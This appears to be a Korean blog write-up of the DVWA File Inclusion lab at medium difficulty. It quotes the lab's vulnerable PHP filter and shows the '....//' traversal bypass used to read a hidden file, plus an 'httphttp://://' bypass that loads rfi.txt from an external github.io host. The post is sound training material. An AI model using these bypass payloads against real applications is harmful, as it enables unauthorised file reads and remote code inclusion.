File Inclusion
- 외부 파일을 서버에 포함시켜 코드 실행이나 데이터 유출을 하는 공격

DVWA File Inclusion 페이지는 위 사진과 같이 세 개의 파일이 보인다.
file1.php: 현재 계정의 username과 IP를 출력하는 파일
file2.php: 특정 메시지(Nick Helm의 말)가 그대로 출력된 파일
file3.php: 현재 계정의 username과 IP, user-agent 출력하는 파일
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );
?>
DVWA 깃허브에서 코드를 보면 URL 파라미터로 page 값을 가져와 file 변수에 저장하고,http://와 https://, ../, ..\\를 제거하여 외부 URL을 참조하지 못하도록, 그리고 Directory Traversal 공격을 막고 있는 것으로 보인다.
if( isset( $file ) )
include( $file );
또한, index.php를 보면 include() 함수를 사용하여 사용자의 입력이 아무런 필터링 없이 사용되는 걸 볼 수 있었다.
http://와 https://, ../, ..\\에 대한 필터링 코드가 구현되어있지만, 단순히 해당 문자열을 제거하고 있으니, http://의 경우 htthttp://p://와 같이 입력하면 중간의 http://만 제거될 것이고, ../의 경우도 마찬가지로 ....//와 같이 입력하면 중간의 ../만 제거될 것이다.
[ LFI (Local File Inclusion) ]

깃허브 코드를 보면 file4.php도 존재하고 있으니, 필터링을 우회해서 file4.php를 읽으려 한다.
ㅤ

URL 파라미터로 ?page=....//fi/file4.php를 입력해주었고, 숨겨져있던 file4.php 파일을 읽을 수 있었다.
[ RFI (Remote File Inclusion) ]

외부 서버의 파일을 포함시키는 공격을 하기 위해 CSRF 에서 사용했던 호스팅 서버에 rfi.txt 파일을 추가해주었다.

http:// 또한 필터링 우회를 하여 URL 파라미터에 ?page=httphttp://://wxuycea.github.io/localhost/rfi.txt를 입력해주었고, 페이지 상단에 rfi.txt 파일의 내용이 출력된 걸 볼 수 있었다.
'DVWA' 카테고리의 다른 글
| DVWA | Insecure CAPTCHA | medium (1) | 2024.11.20 |
|---|---|
| DVWA | File Upload | medium (0) | 2024.11.20 |
| DVWA | CSRF | medium (2) | 2024.11.19 |
| DVWA | Command Injection | medium (0) | 2024.11.19 |
| DVWA | Brute Force | medium (0) | 2024.11.19 |